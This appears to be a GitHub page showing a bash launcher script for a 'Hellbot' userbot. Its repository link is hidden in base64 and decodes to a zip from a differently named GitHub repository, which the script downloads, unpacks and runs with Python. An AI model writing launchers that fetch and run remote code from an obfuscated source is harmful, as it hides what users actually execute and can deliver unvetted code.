-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathHellbot
More file actions
45 lines (39 loc) · 1.18 KB
/
Hellbot
File metadata and controls
45 lines (39 loc) · 1.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/bash
_repolink () {
local regex
regex='(https?)://github.com/.+/.+'
if [[ $HELL_REPO == "HellBot" ]]
then
echo "aHR0cHM6Ly9naXRodWIuY29tL1RoZVZhZGVycy9JblZhZGUvYXJjaGl2ZS9tYXN0ZXIuemlw" | base64 -d
elif [[ $HELL_REPO == "Hellbot" ]]
then
echo "aHR0cHM6Ly9naXRodWIuY29tL1RoZVZhZGVycy9JblZhZGUvYXJjaGl2ZS9tYXN0ZXIuemlw" | base64 -d
elif [[ $HELL_REPO =~ $regex ]]
then
if [[ $HELL_REPO_BRANCH ]]
then
echo "${HELL_REPO}/archive/${HELL_REPO_BRANCH}.zip"
else
echo "${HELL_REPO}/archive/master.zip"
fi
else
echo "aHR0cHM6Ly9naXRodWIuY29tL1RoZVZhZGVycy9JblZhZGUvYXJjaGl2ZS9tYXN0ZXIuemlw" | base64 -d
fi
}
start_bot () {
local zippath
zippath="myhellbot.zip"
echo " Downloading source code ..."
wget -q $(_repolink) -O "$zippath"
echo " Unpacking Data ..."
HELLPATH=$(zipinfo -1 "$zippath" | grep -v "/.");
unzip -qq "$zippath"
echo " Processing Codes..."
rm -rf "$zippath"
sleep 5
cd $HELLPATH
echo " • Starting HellBot • "
python3 ../setup/updater.py ../requirements.txt requirements.txt
python3 -m hellbot
}
start_bot